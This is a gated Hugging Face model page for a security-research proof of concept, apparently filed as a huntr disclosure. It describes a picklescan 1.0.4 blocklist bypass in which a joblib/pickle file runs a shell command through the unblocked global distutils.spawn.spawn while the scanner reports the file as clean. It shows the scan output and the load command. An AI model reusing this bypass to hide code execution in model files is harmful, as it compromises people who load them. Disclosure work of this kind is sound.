You need to agree to share your Hugging Face information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
Security research proof-of-concept. Access is manually reviewed.
Log in or Sign Up to review the conditions and access this model content.
picklescan 1.0.4 blocklist bypass — PoC
Proof-of-concept for a huntr Model File Vulnerability report by Mohammad Adnan (CyStack).
model.joblib is a joblib/pickle stream that picklescan 1.0.4 (latest)
reports as clean (issues_count=0, infected_files=0) while executing a
shell command on joblib.load().
The payload is deliberately benign: it runs
touch /tmp/picklescan_bypass_proof and nothing else. No network access, no
destructive action.
Unblocked global: distutils.spawn.spawn.
$ picklescan -p model.joblib
... distutils.spawn.spawn -> suspicious
scanned_files=1 issues_count=0 infected_files=0
$ python3 -c "import joblib; joblib.load('model.joblib')"
$ ls /tmp/picklescan_bypass_proof # created
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support